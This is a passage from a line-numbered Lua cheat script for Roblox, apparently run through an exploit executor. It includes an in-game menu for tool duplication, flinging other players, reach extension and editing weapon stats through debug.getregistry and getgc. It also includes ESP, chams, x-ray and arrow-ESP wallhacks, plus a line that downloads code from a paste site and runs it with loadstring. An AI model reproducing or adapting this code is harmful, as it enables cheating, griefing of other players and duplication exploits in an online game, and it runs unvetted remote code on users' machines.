  3470. plr.Character:FindFirstChild("Humanoid"):MoveTo(getRoot(v.Character).CFrame.p)
  3471. end
  3472. until v.Character == nil or not getRoot(v.Character) or not v.Character:FindFirstChildOfClass("Tool") or Guarding == false
  3473. end
  3474. end
  3475. end
  3476.  
  3477. else
  3478. Walknssz = false
  3479. Guarding = false
  3480. end
  3481. end
  3482. })
  3483.  
  3484. local ToolStatName
  3485.  
  3486. ToolPlr:AddLabel("Tool Stats")
  3487.  
  3488. ToolPlr:AddTextbox({
  3489. Name = "Tool StatName",
  3490. Default = "",
  3491. TextDisappear = true,
  3492. Callback = function(VRMlols)
  3493. OrionLib:MakeNotification({
  3494. Name = "Tutorial",
  3495. Content = "1) You need to write statname that is in modulescript or localscript, which is function or table. Use for example dark dex and view every script in tool. 2) After finding from darkdex, you need to write here tableARG name, example CurrentAmmo or MaxAmmo. Now it's done, you can change number of table. Enjoy.",
  3496. Image = "rbxassetid://6023426945",
  3497. Time = 25
  3498. })
  3499. ToolStatName = VRMlols
  3500. end
  3501. })
  3502.  
  3503. ToolPlr:AddTextbox({
  3504. Name = "Tool NumberStat Debug.GetRegistery() Method",
  3505. Default = "",
  3506. TextDisappear = true,
  3507. Callback = function(GetRegd)
  3508. local numbergetreg = tonumber(GetRegd)
  3509. for i,v in pairs(debug.getregistry()) do
  3510. if type(v) == "function" then
  3511. local abc = debug.getupvalues(v)
  3512. for a,b in next, abc do
  3513. if type(b) == "table" then
  3514. if b[ToolStatName] then
  3515. b[ToolStatName] = numbergetreg
  3516. end
  3517. end
  3518. end
  3519. end
  3520. end
  3521. end
  3522. })
  3523.  
  3524. ToolPlr:AddTextbox({
  3525. Name = "Tool NumberStat GetGc() Method",
  3526. Default = "",
  3527. TextDisappear = true,
  3528. Callback = function(gcd)
  3529. local numbergc = tonumber(gcd)
  3530. for i,v in next, getgc(true) do --- true means that will work, if false then not work.
  3531. if type(v) == "function" then
  3532. local abc = debug.getupvalues(v)
  3533. for a,b in next, abc do
  3534. if type(b) == "table" and rawget(b, ToolStatName) then
  3535. rawset(b, ToolStatName, numbergc)
  3536. end
  3537. end
  3538. end
  3539. end
  3540. end
  3541. })
  3542.  
  3543. ToolPlr:AddLabel("LocalPlayer")
  3544.  
  3545. ToolPlr:AddButton({
  3546. Name = "Invisible Tools",
  3547. Callback = function()
  3548. game.StarterGui:SetCore("SendNotification", {Title = "Reset Tutorial.", Text = "If you want to stop the invisible tools, then just reset character.", Duration = 10,})
  3549. local Char = game.Players.LocalPlayer.Character
  3550. local touched = false
  3551. local tpdback = false
  3552. local box = Instance.new('Part')
  3553. box.Anchored = true
  3554. box.CanCollide = true
  3555. box.Size = Vector3.new(10,1,10)
  3556. box.Position = Vector3.new(0,10000,0)
  3557. box.Parent = workspace
  3558. local boxTouched = box.Touched:connect(function(part)
  3559. if (part.Parent.Name == game.Players.LocalPlayer.Name) then
  3560. if touched == false then
  3561. touched = true
  3562. local function apply()
  3563. local no = Char.HumanoidRootPart:Clone()
  3564. wait(.25)
  3565. Char.HumanoidRootPart:Destroy()
  3566. no.Parent = Char
  3567. Char:MoveTo(loc)
  3568. touched = false
  3569. end
  3570. if Char then
  3571. apply()
  3572. end
  3573. end
  3574. end
  3575. end)
  3576. repeat wait() until Char
  3577. local cleanUp
  3578. cleanUp = game.Players.LocalPlayer.CharacterAdded:connect(function(char)
  3579. boxTouched:Disconnect()
  3580. box:Destroy()
  3581. cleanUp:Disconnect()
  3582. end)
  3583. loc = Char.HumanoidRootPart.Position
  3584. Char:MoveTo(box.Position + Vector3.new(0,.5,0))
  3585. end
  3586. })
  3587.  
  3588. ToolPlr:AddButton({
  3589. Name = "Clean Tool Fling",
  3590. Callback = function()
  3591. game.StarterGui:SetCore("SendNotification", {Title = "Reset Tutorial.", Text = "If you want to stop the clean tool fling, then: 1) Reset; 2) Go to Table Parts folder in GUI script and find 'Clear Noclip Table Parts'.", Duration = 15,})
  3592. local tool = plr.Character:FindFirstChildOfClass("Tool")
  3593. if tool then
  3594. game.StarterGui:SetCore("SendNotification", {Title = "Clean Tool Fling", Text = "It's not loop. Clean Tool Fling was started. Untoggle to stop it.", Duration = 10,})
  3595. tool.Parent = plr.Backpack
  3596. tool.Handle.Massless = true
  3597. RestoreCFling = {
  3598. Anim = plr.Character.Animate.toolnone.ToolNoneAnim.AnimationId;
  3599. Grip = tool.GripPos;
  3600. }
  3601. tool.GripPos = Vector3.new(5000, 5000, 5000)
  3602. plr.Character.HumanoidRootPart.CustomPhysicalProperties = PhysicalProperties.new(math.huge,math.huge,math.huge,math.huge,math.huge)
  3603. tool.Parent = plr.Character
  3604. pcall(function() plr.Character.Animate.toolnone.ToolNoneAnim.AnimationId = "nil" end)
  3605. wait(.1)
  3606. tool.Parent = plr.Backpack
  3607. wait(.1)
  3608. tool.Parent = plr.Character
  3609. Noclip()
  3610. if not tool then
  3611. game.StarterGui:SetCore("SendNotification", {Title = "No tool was found!", Text = "Equip any tool that has Handle and Player without any Collision.", Duration = 4,})
  3612. end
  3613. end
  3614. end
  3615. })
  3616.  
  3617. ToolPlr:AddButton({
  3618. Name = "Equip Tools",
  3619. Callback = function()
  3620. for i,v in pairs(Players.LocalPlayer.Backpack:GetChildren()) do
  3621. if v:IsA("Tool") then
  3622. v.Parent = Players.LocalPlayer.Character
  3623. end
  3624. end
  3625. end
  3626. })
  3627.  
  3628. ToolPlr:AddButton({
  3629. Name = "Droppable Tools",
  3630. Callback = function()
  3631. if speaker.Character then
  3632. for _,obj in pairs(speaker.Character:GetChildren()) do
  3633. if obj:IsA("Tool") then
  3634. obj.CanBeDropped = true
  3635. end
  3636. end
  3637. end
  3638. if speaker:FindFirstChildOfClass("Backpack") then
  3639. for _,obj in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do
  3640. if obj:IsA("Tool") then
  3641. obj.CanBeDropped = true
  3642. end
  3643. end
  3644. end
  3645. end
  3646. })
  3647.  
  3648. ToolPlr:AddButton({
  3649. Name = "Drop Tools",
  3650. Callback = function()
  3651. for i,v in pairs(Players.LocalPlayer.Backpack:GetChildren()) do
  3652. if v:IsA("Tool") then
  3653. v.Parent = Players.LocalPlayer.Character
  3654. end
  3655. end
  3656. wait()
  3657. for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
  3658. if v:IsA("Tool") then
  3659. v.Parent = workspace
  3660. end
  3661. end
  3662. end
  3663. })
  3664.  
  3665. ToolPlr:AddButton({
  3666. Name = "Drop Tool",
  3667. Callback = function()
  3668. wait()
  3669. for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
  3670. if v:IsA("Tool") then
  3671. v.Parent = workspace
  3672. end
  3673. end
  3674. end
  3675. })
  3676.  
  3677. ToolPlr:AddButton({
  3678. Name = "Drop Tools [GodMode Method]",
  3679. Callback = function()
  3680. for i,v in pairs(Players.LocalPlayer.Backpack:GetChildren()) do
  3681. if v:IsA("Tool") then
  3682. v.Parent = Players.LocalPlayer.Character
  3683. end
  3684. end
  3685. wait(0.5)
  3686. plr.Character.Humanoid.Name = 1
  3687. local l = plr.Character["1"]:Clone()
  3688. l.Parent = plr.Character
  3689. l.Name = "Humanoid"
  3690. wait(0.1)
  3691. plr.Character["1"]:Destroy()
  3692. game:GetService("Workspace").CurrentCamera.CameraSubject = plr.Character
  3693. plr.Character.Animate.Disabled = true
  3694. wait(0.1)
  3695. plr.Character.Animate.Disabled = false
  3696. plr.Character.Humanoid.DisplayDistanceType = "None"
  3697. end
  3698. })
  3699.  
  3700. ToolPlr:AddButton({
  3701. Name = "Drop Tool [GodMode Method]",
  3702. Callback = function()
  3703. for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
  3704. if v:IsA("Tool") then
  3705. wait(0.5)
  3706. plr.Character.Humanoid.Name = 1
  3707. local l = plr.Character["1"]:Clone()
  3708. l.Parent = plr.Character
  3709. l.Name = "Humanoid"
  3710. wait(0.1)
  3711. plr.Character["1"]:Destroy()
  3712. game:GetService("Workspace").CurrentCamera.CameraSubject = plr.Character
  3713. plr.Character.Animate.Disabled = true
  3714. wait(0.1)
  3715. plr.Character.Animate.Disabled = false
  3716. plr.Character.Humanoid.DisplayDistanceType = "None"
  3717. end
  3718. end
  3719. end
  3720. })
  3721.  
  3722. ToolPlr:AddButton({
  3723. Name = "Drop Tools [OP Method]",
  3724. Callback = function()
  3725. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "To drop tools - choose any tool to worked, if not work, try other tool.", Duration = 6,})
  3726. local Config = {
  3727. DemeshTools = false,
  3728. RemoveTouchInterest = false,
  3729. CustomRightGripWeld = false
  3730. }
  3731.  
  3732. local Players = game:GetService("Players")
  3733.  
  3734. local Player = Players.LocalPlayer
  3735. local Character = Player.Character
  3736. local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
  3737.  
  3738. local Humanoid = Character:FindFirstChildWhichIsA("Humanoid")
  3739. local Tool = Character:FindFirstChildWhichIsA("Tool") or Player.Backpack:FindFirstChildWhichIsA("Tool")
  3740. local FinalPath = Tool -- can change this to humanoid watever
  3741.  
  3742. Humanoid:UnequipTools()
  3743.  
  3744. local CreateCustomRightGrip = function(Tool, CF)
  3745. local Handle = Tool:FindFirstChild("Handle")
  3746. local RightGrip = Instance.new("Weld")
  3747. RightGrip.Name = "RightGrip"
  3748. RightGrip.Part0 = RightArm
  3749. RightGrip.Part1 = Handle
  3750. RightGrip.C0 = CF
  3751. RightGrip.C1 = Tool.Grip
  3752. RightGrip.Parent = RightArm
  3753. Handle.Massless = true
  3754. end
  3755.  
  3756. local Demesh = function(Tool)
  3757. for _, x in next, Tool:GetDescendants() do
  3758. if x:IsA("Mesh") or x:IsA("SpecialMesh") or x:IsA("MeshPart") then
  3759. x:Destroy()
  3760. end
  3761. end
  3762. end
  3763.  
  3764. for _, x in next, Player.Backpack:GetChildren() do
  3765. if _ > 0 and x ~= Tool then
  3766. x.Parent = Character
  3767. x.Parent = Tool
  3768. x.Parent = Player.Backpack
  3769. x.Parent = FinalPath
  3770. if Config.CustomRightGripWeld then
  3771. CreateCustomRightGrip(x, CFrame.new(0, -_ + 5, 0) * CFrame.Angles(math.rad(90), math.rad(90), 0))
  3772. end
  3773. end
  3774. end
  3775.  
  3776. Tool.Parent = Character
  3777.  
  3778. if Config.DemeshTools then
  3779. for _, x in next, Tool:GetChildren() do
  3780. if x:IsA("Tool") then
  3781. local Mesh = x:FindFirstChildWhichIsA("Mesh", true) or x:FindFirstChildWhichIsA("SpecialMesh", true) or x:FindFirstChildWhichIsA("MeshPart", true)
  3782. if Mesh then
  3783. Mesh:Destroy()
  3784. end
  3785. end
  3786. end
  3787. end
  3788.  
  3789. if Config.RemoveTouchInterest then
  3790. for _, x in next, Tool:GetChildren() do
  3791. if x:IsA("Tool") then
  3792. local Touch = x:FindFirstChildWhichIsA("TouchTransmitter", true)
  3793. if Touch then
  3794. Touch:Destroy()
  3795. end
  3796. end
  3797. end
  3798. end
  3799. end
  3800. })
  3801.  
  3802. ToolPlr:AddButton({
  3803. Name = "Drop Tools Without Mesh [OP Method]",
  3804. Callback = function()
  3805. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "To drop tools - choose any tool to worked, if not work, try other tool.", Duration = 6,})
  3806. local Config = {
  3807. DemeshTools = true,
  3808. RemoveTouchInterest = false,
  3809. CustomRightGripWeld = false
  3810. }
  3811.  
  3812. local Players = game:GetService("Players")
  3813.  
  3814. local Player = Players.LocalPlayer
  3815. local Character = Player.Character
  3816. local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
  3817.  
  3818. local Humanoid = Character:FindFirstChildWhichIsA("Humanoid")
  3819. local Tool = Character:FindFirstChildWhichIsA("Tool") or Player.Backpack:FindFirstChildWhichIsA("Tool")
  3820. local FinalPath = Tool -- can change this to humanoid watever
  3821.  
  3822. Humanoid:UnequipTools()
  3823.  
  3824. local CreateCustomRightGrip = function(Tool, CF)
  3825. local Handle = Tool:FindFirstChild("Handle")
  3826. local RightGrip = Instance.new("Weld")
  3827. RightGrip.Name = "RightGrip"
  3828. RightGrip.Part0 = RightArm
  3829. RightGrip.Part1 = Handle
  3830. RightGrip.C0 = CF
  3831. RightGrip.C1 = Tool.Grip
  3832. RightGrip.Parent = RightArm
  3833. Handle.Massless = true
  3834. end
  3835.  
  3836. local Demesh = function(Tool)
  3837. for _, x in next, Tool:GetDescendants() do
  3838. if x:IsA("Mesh") or x:IsA("SpecialMesh") or x:IsA("MeshPart") then
  3839. x:Destroy()
  3840. end
  3841. end
  3842. end
  3843.  
  3844. for _, x in next, Player.Backpack:GetChildren() do
  3845. if _ > 0 and x ~= Tool then
  3846. x.Parent = Character
  3847. x.Parent = Tool
  3848. x.Parent = Player.Backpack
  3849. x.Parent = FinalPath
  3850. if Config.CustomRightGripWeld then
  3851. CreateCustomRightGrip(x, CFrame.new(0, -_ + 5, 0) * CFrame.Angles(math.rad(90), math.rad(90), 0))
  3852. end
  3853. end
  3854. end
  3855.  
  3856. Tool.Parent = Character
  3857.  
  3858. if Config.DemeshTools then
  3859. for _, x in next, Tool:GetChildren() do
  3860. if x:IsA("Tool") then
  3861. local Mesh = x:FindFirstChildWhichIsA("Mesh", true) or x:FindFirstChildWhichIsA("SpecialMesh", true) or x:FindFirstChildWhichIsA("MeshPart", true)
  3862. if Mesh then
  3863. Mesh:Destroy()
  3864. end
  3865. end
  3866. end
  3867. end
  3868.  
  3869. if Config.RemoveTouchInterest then
  3870. for _, x in next, Tool:GetChildren() do
  3871. if x:IsA("Tool") then
  3872. local Touch = x:FindFirstChildWhichIsA("TouchTransmitter", true)
  3873. if Touch then
  3874. Touch:Destroy()
  3875. end
  3876. end
  3877. end
  3878. end
  3879. end
  3880. })
  3881.  
  3882. local function GetHandleTools(p)
  3883. p = p or game.Players.LocalPlayer
  3884. local r = {}
  3885. for _, v in ipairs(p.Character and p.Character:GetChildren() or {}) do
  3886. if v:IsA("BackpackItem") and v:FindFirstChild("Handle") then
  3887. r[#r + 1] = v
  3888. end
  3889. end
  3890. for _, v in ipairs(p.Backpack:GetChildren()) do
  3891. if v:IsA("BackpackItem") and v:FindFirstChild("Handle") then
  3892. r[#r + 1] = v
  3893. end
  3894. end
  3895. return r
  3896. end
  3897.  
  3898. ToolPlr:AddTextbox({
  3899. Name = "Dupe Tools",
  3900. Default = "",
  3901. TextDisappear = true,
  3902. Callback = function(DupeToolsNum)
  3903. local LOOP_NUM = tonumber(DupeToolsNum)
  3904. local OrigPos = plr.Character.HumanoidRootPart.Position
  3905. local Tools, TempPos = {}, Vector3.new(math.random(-2e5, 2e5), 2e5, math.random(-2e5, 2e5))
  3906. for i = 1, LOOP_NUM do
  3907. local Human = plr.Character:WaitForChild("Humanoid")
  3908. wait(.1, Human.Parent:MoveTo(TempPos))
  3909. Human.RootPart.Anchored = plr:ClearCharacterAppearance(wait(.1)) or true
  3910. local t = GetHandleTools(plr)
  3911. while #t > 0 do
  3912. for _, v in ipairs(t) do
  3913. coroutine.wrap(function()
  3914. for _ = 1, 25 do
  3915. v.Parent = plr.Character
  3916. v.Handle.Anchored = true
  3917. end
  3918. for _ = 1, 5 do
  3919. v.Parent = workspace
  3920. end
  3921. table.insert(Tools, v.Handle)
  3922. end)()
  3923. end
  3924. t = GetHandleTools(plr)
  3925. end
  3926. wait(.1)
  3927. plr.Character = plr.Character:Destroy()
  3928. plr.CharacterAdded:Wait():WaitForChild("Humanoid").Parent:MoveTo(LOOP_NUM == i and OrigPos or TempPos, wait(.1))
  3929. if i == LOOP_NUM or i % 5 == 0 then
  3930. local HRP = plr.Character.HumanoidRootPart
  3931. if type(firetouchinterest) == "function" then
  3932. for _, v in ipairs(Tools) do
  3933. v.Anchored = not firetouchinterest(v, HRP, 1, firetouchinterest(v, HRP, 0)) and false or false
  3934. end
  3935. else
  3936. for _, v in ipairs(Tools) do
  3937. coroutine.wrap(function()
  3938. local x = v.CanCollide
  3939. v.CanCollide = false
  3940. v.Anchored = false
  3941. for _ = 1, 10 do
  3942. v.CFrame = HRP.CFrame
  3943. wait()
  3944. end
  3945. v.CanCollide = x
  3946. end)()
  3947. end
  3948. end
  3949. wait(.1)
  3950. Tools = {}
  3951. end
  3952. TempPos = TempPos + Vector3.new(10, math.random(-5, 5), 0)
  3953. end
  3954. end
  3955. })
  3956.  
  3957. local AmountNumber
  3958. local DelayUse
  3959.  
  3960. ToolPlr:AddTextbox({
  3961. Name = "Use Tools AmmountActivates",
  3962. Default = "",
  3963. TextDisappear = true,
  3964. Callback = function(AmountLOL)
  3965. AmountNumber = AmountLOL
  3966. end
  3967. })
  3968.  
  3969. ToolPlr:AddTextbox({
  3970. Name = "Use Tools Wait-Delay",
  3971. Default = "",
  3972. TextDisappear = true,
  3973. Callback = function(DelayLOL)
  3974. DelayUse = DelayLOL
  3975. end
  3976. })
  3977.  
  3978. ToolPlr:AddButton({
  3979. Name = "Use Tools",
  3980. Callback = function()
  3981. local Backpack = plr:FindFirstChildOfClass("Backpack")
  3982. local ammount = tonumber(AmountNumber)
  3983. local delay_ = tonumber(DelayUse)
  3984. for _, v in ipairs(Backpack:GetChildren()) do
  3985. v.Parent = plr.Character
  3986. coroutine.wrap(function()
  3987. for _ = 1, ammount do
  3988. v:Activate()
  3989. if delay_ then
  3990. wait(delay_)
  3991. end
  3992. end
  3993. v.Parent = Backpack
  3994. end)()
  3995. end
  3996. end
  3997. })
  3998.  
  3999. local ReachNumber
  4000.  
  4001. ToolPlr:AddTextbox({
  4002. Name = "Reach Tool Number",
  4003. Default = "",
  4004. TextDisappear = true,
  4005. Callback = function(ReachToolNum)
  4006. ReachNumber = ReachToolNum
  4007. end
  4008. })
  4009.  
  4010. ToolPlr:AddToggle({
  4011. Name = "Reach Tool",
  4012. Default = false,
  4013. Callback = function(reachtool)
  4014. if reachtool == true then
  4015. for i,v in pairs(plr.Character:GetDescendants()) do
  4016. if v:IsA("Tool") then
  4017. currentToolSize = v.Handle.Size
  4018. currentGripPos = v.GripPos
  4019. local a = Instance.new("SelectionBox")
  4020. a.Name = "SelectionBoxCreated"
  4021. a.Parent = v.Handle
  4022. a.Adornee = v.Handle
  4023. v.Handle.Massless = true
  4024. v.Handle.Size = Vector3.new(0.5,0.5,ReachNumber)
  4025. v.GripPos = Vector3.new(0,0,0)
  4026. plr.Character:FindFirstChildOfClass('Humanoid'):UnequipTools() end
  4027. end
  4028. else
  4029. reachtool = false
  4030. for i,v in pairs(plr.Character:GetDescendants()) do
  4031. if v:IsA("Tool") then
  4032. v.Handle.Size = currentToolSize
  4033. v.GripPos = currentGripPos
  4034. v.Handle.SelectionBoxCreated:Destroy()
  4035. end
  4036. end
  4037. end
  4038. end
  4039. })
  4040.  
  4041. ESP:AddLabel("Visuals")
  4042.  
  4043. local ESPz = loadstring(game:HttpGet("https://paste.ee/r/aFx08", true))()
  4044.  
  4045. ESP:AddToggle({
  4046. Name = "ESP",
  4047. Default = false,
  4048. Callback = function(ESPD)
  4049. ESPz:Toggle(ESPD)
  4050. end
  4051. })
  4052.  
  4053. ESP:AddToggle({
  4054. Name = "Show Box",
  4055. Default = false,
  4056. Callback = function(ESPb)
  4057. ESPz.Boxes = ESPb
  4058. end
  4059. })
  4060.  
  4061. ESP:AddToggle({
  4062. Name = "Show Players",
  4063. Default = false,
  4064. Callback = function(ESPp)
  4065. ESPz.Players = ESPp
  4066. end
  4067. })
  4068.  
  4069. ESP:AddToggle({
  4070. Name = "Show Names",
  4071. Default = false,
  4072. Callback = function(ESPn)
  4073. ESPz.Names = ESPn
  4074. end
  4075. })
  4076.  
  4077. ESP:AddToggle({
  4078. Name = "Show TeamColor",
  4079. Default = false,
  4080. Callback = function(ESPtc)
  4081. ESPz.TeamColor = ESPtc
  4082. end
  4083. })
  4084.  
  4085. ESP:AddLabel("Chams")
  4086.  
  4087. local chamsadded
  4088. local chamsremoved
  4089. local chamshah = {}
  4090.  
  4091. ESP:AddToggle({
  4092. Name = "Chams",
  4093. Default = false,
  4094. Callback = function(Chams)
  4095. if Chams == true then
  4096. function ChamsHEH(target)
  4097. local faces = {"Back","Bottom","Front","Left","Right","Top"}
  4098. for _, v in pairs(game.Players:GetChildren()) do if v.Name ~= game.Players.LocalPlayer.Name then
  4099. for _, p in pairs(v.Character:GetChildren()) do
  4100. if p:IsA("BasePart") then
  4101. for _, f in pairs(faces) do
  4102. local a = Instance.new("BoxHandleAdornment")
  4103. a.Name = "EGUI"
  4104. a.Parent = p
  4105. a.Adornee = p
  4106. a.AlwaysOnTop = true
  4107. a.ZIndex = 10
  4108. a.Size = p.Size
  4109. a.Transparency = 0.3
  4110. a.Color3 = Color3.new(255, 255, 255)
  4111. chamshah[target] = a
  4112. end
  4113. end
  4114. end
  4115. end
  4116. end
  4117. end
  4118.  
  4119. chamsadded = game.Players.PlayerAdded:Connect(function(v)
  4120. v.CharacterAdded:Connect(function()
  4121. ChamsHEH(v)
  4122. end)
  4123. end)
  4124.  
  4125. chamsremoved = game.Players.PlayerRemoving:Connect(function(v)
  4126. if chamshah[v] then
  4127. chamshah[v]:Destroy()
  4128. chamshah[v] = nil
  4129. end
  4130. end)
  4131.  
  4132. local faces = {"Back","Bottom","Front","Left","Right","Top"}
  4133. for _, v in pairs(game.Players:GetChildren()) do if v.Name ~= game.Players.LocalPlayer.Name then
  4134. for _, p in pairs(v.Character:GetChildren()) do
  4135. if p:IsA("BasePart") then
  4136. for _, f in pairs(faces) do
  4137. local a = Instance.new("BoxHandleAdornment")
  4138. a.Name = "EGUI"
  4139. a.Parent = p
  4140. a.Adornee = p
  4141. a.AlwaysOnTop = true
  4142. a.ZIndex = 10
  4143. a.Size = p.Size
  4144. a.Transparency = 0.3
  4145. a.Color3 = Color3.new(255, 255, 255)
  4146. end
  4147. end
  4148. end
  4149. end
  4150. end
  4151. else
  4152. Chams = false
  4153. for _, v in pairs(game.Workspace:GetDescendants()) do
  4154. if v.Name == ("EGUI") then
  4155. v:Remove()
  4156. end
  4157. end
  4158. if chamsadded ~= nil then
  4159. chamsadded:Disconnect()
  4160. end
  4161. if chamsremoved ~= nil then
  4162. chamsremoved:Disconnect()
  4163. end
  4164. chamshah = {}
  4165. end
  4166. end
  4167. })
  4168.  
  4169. ESP:AddToggle({
  4170. Name = "Show Names",
  4171. Default = false,
  4172. Callback = function(NameChams)
  4173. if NameChams == true then
  4174. for _, v in pairs(game.Players:GetChildren()) do if v.Name ~= game.Players.LocalPlayer.Name then
  4175. local bgui = Instance.new("BillboardGui", v.Character.Head)
  4176. bgui.Name = ("NAMGUI")
  4177. bgui.AlwaysOnTop = true
  4178. bgui.ExtentsOffset = Vector3.new(0,3,0)
  4179. bgui.Size = UDim2.new(0,200,0,50)
  4180. local nam = Instance.new("TextLabel",bgui)
  4181. nam.Text = v.Name
  4182. nam.BackgroundTransparency = 1
  4183. nam.TextSize = 30
  4184. nam.Font = ("Arial")
  4185. nam.TextColor3 = Color3.new(1, 1, 1)
  4186. nam.Size = UDim2.new(0,200,0,50)
  4187. end
  4188. end
  4189. else
  4190. NameChams = false
  4191. for _, v in pairs(game.Workspace:GetDescendants()) do
  4192. if v.Name == ("NAMGUI") then
  4193. v:Remove()
  4194. end
  4195. end
  4196. end
  4197. end
  4198. })
  4199.  
  4200. ESP:AddToggle({
  4201. Name = "Show TeamColor",
  4202. Default = false,
  4203. Callback = function(TeamColorChams)
  4204. if TeamColorChams == true then
  4205. for i,v in pairs(game.Players:GetChildren()) do
  4206. if v.Name ~= game.Players.LocalPlayer.Name then
  4207. for i,b in pairs(v.Character:GetChildren()) do
  4208. if b:IsA("BasePart") then
  4209. for i,c in pairs(b:GetDescendants()) do
  4210. if c.Name == "EGUI" and c:IsA("BoxHandleAdornment") then
  4211. c.Color = v.TeamColor
  4212. end
  4213. end
  4214. end
  4215. end
  4216. end
  4217. end
  4218. else
  4219. TeamColorChams = false
  4220. for i,v in pairs(game.Players:GetChildren()) do
  4221. if v.Name ~= game.Players.LocalPlayer.Name then
  4222. for i,b in pairs(v.Character:GetChildren()) do
  4223. if b:IsA("BasePart") then
  4224. for i,c in pairs(b:GetDescendants()) do
  4225. if c.Name == "EGUI" and c:IsA("BoxHandleAdornment") then
  4226. c.Color3 = Color3.new(255, 255, 255)
  4227. end
  4228. end
  4229. end
  4230. end
  4231. end
  4232. end
  4233. end
  4234. end
  4235. })
  4236.  
  4237. ESP:AddToggle({
  4238. Name = "Show Rainbow Color",
  4239. Default = false,
  4240. Callback = function(RainbowColorc)
  4241. if RainbowColorc == true then
  4242. for i,v in pairs(game.Players:GetChildren()) do
  4243. if v.Name ~= game.Players.LocalPlayer.Name then
  4244. for i,b in pairs(v.Character:GetChildren()) do
  4245. if b:IsA("BasePart") then
  4246. for i,c in pairs(b:GetDescendants()) do
  4247. if c.Name == "EGUI" and c:IsA("BoxHandleAdornment") then
  4248. local t = 5; --how long does it take to go through the rainbow
  4249.  
  4250. local tick = tick
  4251. local fromHSV = Color3.fromHSV
  4252. local RunService = game:GetService("RunService")
  4253. local Frame = script.Parent
  4254.  
  4255. RunService:BindToRenderStep("Rainbow", 1000, function()
  4256. local hue = tick() % t / t
  4257. local color = fromHSV(hue, 1, 1)
  4258. c.Color3 = color
  4259. end)
  4260. end
  4261. end
  4262. end
  4263. end
  4264. end
  4265. end
  4266. else
  4267. RainbowColorc = false
  4268. for i,v in pairs(game.Players:GetChildren()) do
  4269. if v.Name ~= game.Players.LocalPlayer.Name then
  4270. for i,b in pairs(v.Character:GetChildren()) do
  4271. if b:IsA("BasePart") then
  4272. for i,c in pairs(b:GetDescendants()) do
  4273. if c.Name == "EGUI" and c:IsA("BoxHandleAdornment") then
  4274. c:Destroy()
  4275. end
  4276. end
  4277. end
  4278. end
  4279. end
  4280. end
  4281. end
  4282. end
  4283. })
  4284.  
  4285. ESP:AddLabel("Overpowered Visuals")
  4286.  
  4287. ESP:AddToggle({
  4288. Name = "X-Ray",
  4289. Default = false,
  4290. Callback = function(Xray)
  4291. if Xray == true then
  4292. for _,i in pairs(workspace:GetDescendants()) do
  4293. if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
  4294. i.LocalTransparencyModifier = 0.75
  4295. end
  4296. end
  4297. else
  4298. Xray = false
  4299. for _,i in pairs(workspace:GetDescendants()) do
  4300. if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
  4301. i.LocalTransparencyModifier = 0
  4302. end
  4303. end
  4304. end
  4305. end
  4306. })
  4307.  
  4308. ESP:AddButton({
  4309. Name = "Arrow ESP",
  4310. Callback = function()
  4311. -- Made by Blissful#4992
  4312. local DistFromCenter = 80
  4313. local TriangleHeight = 16
  4314. local TriangleWidth = 16
  4315. local TriangleFilled = false
  4316. local TriangleTransparency = 0
  4317. local TriangleThickness = 2
  4318. local TriangleColor = Color3.fromRGB(0, 255, 255)
  4319. local AntiAliasing = false
  4320. ----------------------------------------------------------------
  4321. local Players = game:service("Players")
  4322. local Player = Players.LocalPlayer
  4323. local Camera = workspace.CurrentCamera
  4324. local RS = game:service("RunService")
  4325. local V3 = Vector3.new
  4326. local V2 = Vector2.new
  4327. local CF = CFrame.new
  4328. local COS = math.cos
  4329. local SIN = math.sin
  4330. local RAD = math.rad
  4331. local DRAWING = Drawing.new
  4332. local CWRAP = coroutine.wrap
  4333. local ROUND = math.round
  4334. local function GetRelative(pos, char)
  4335. if not char then return V2(0,0) end
  4336. local rootP = char.PrimaryPart.Position
  4337. local camP = Camera.CFrame.Position
  4338. camP = V3(camP.X, rootP.Y, camP.Z)
  4339. local newcf = CF(rootP, camP)
  4340. local r = newcf:PointToObjectSpace(pos)
  4341. return V2(r.X, r.Z)
  4342. end
  4343. local function RelativeToCenter(v)
  4344. return Camera.ViewportSize/2 - v
  4345. end
  4346. local function RotateVect(v, a)
  4347. a = RAD(a)
  4348. local x = v.x * COS(a) - v.y * SIN(a)
  4349. local y = v.x * SIN(a) + v.y * COS(a)
  4350. return V2(x, y)
  4351. end
  4352. local function DrawTriangle(color)
  4353. local l = DRAWING("Triangle")
  4354. l.Visible = false
  4355. l.Color = color
  4356. l.Filled = TriangleFilled
  4357. l.Thickness = TriangleThickness
  4358. l.Transparency = 1-TriangleTransparency
  4359. return l
  4360. end
  4361. local function AntiA(v)
  4362. if (not AntiAliasing) then return v end
  4363. return V2(ROUND(v.x), ROUND(v.y))
  4364. end
  4365. local function ShowArrow(PLAYER)
  4366. local Arrow = DrawTriangle(TriangleColor)
  4367. local function Update()
  4368. local c
  4369. c = RS.RenderStepped:Connect(function()
  4370. if PLAYER and PLAYER.Character then
  4371. local CHAR = PLAYER.Character
  4372. local HUM = CHAR:FindFirstChildOfClass("Humanoid")
  4373. if HUM and CHAR.PrimaryPart ~= nil and HUM.Health > 0 then
  4374. local _,vis = Camera:WorldToViewportPoint(CHAR.PrimaryPart.Position)
  4375. if vis == false then
  4376. local rel = GetRelative(CHAR.PrimaryPart.Position, Player.Character)
  4377. local direction = rel.unit
  4378. local base = direction * DistFromCenter
  4379. local sideLength = TriangleWidth/2
  4380. local baseL = base + RotateVect(direction, 90) * sideLength
  4381. local baseR = base + RotateVect(direction, -90) * sideLength
  4382. local tip = direction * (DistFromCenter + TriangleHeight)
  4383. Arrow.PointA = AntiA(RelativeToCenter(baseL))
  4384. Arrow.PointB = AntiA(RelativeToCenter(baseR))
  4385. Arrow.PointC = AntiA(RelativeToCenter(tip))
  4386. Arrow.Visible = true
  4387. else Arrow.Visible = false end
  4388. else Arrow.Visible = false end
  4389. else
  4390. Arrow.Visible = false
  4391. if not PLAYER or not PLAYER.Parent then
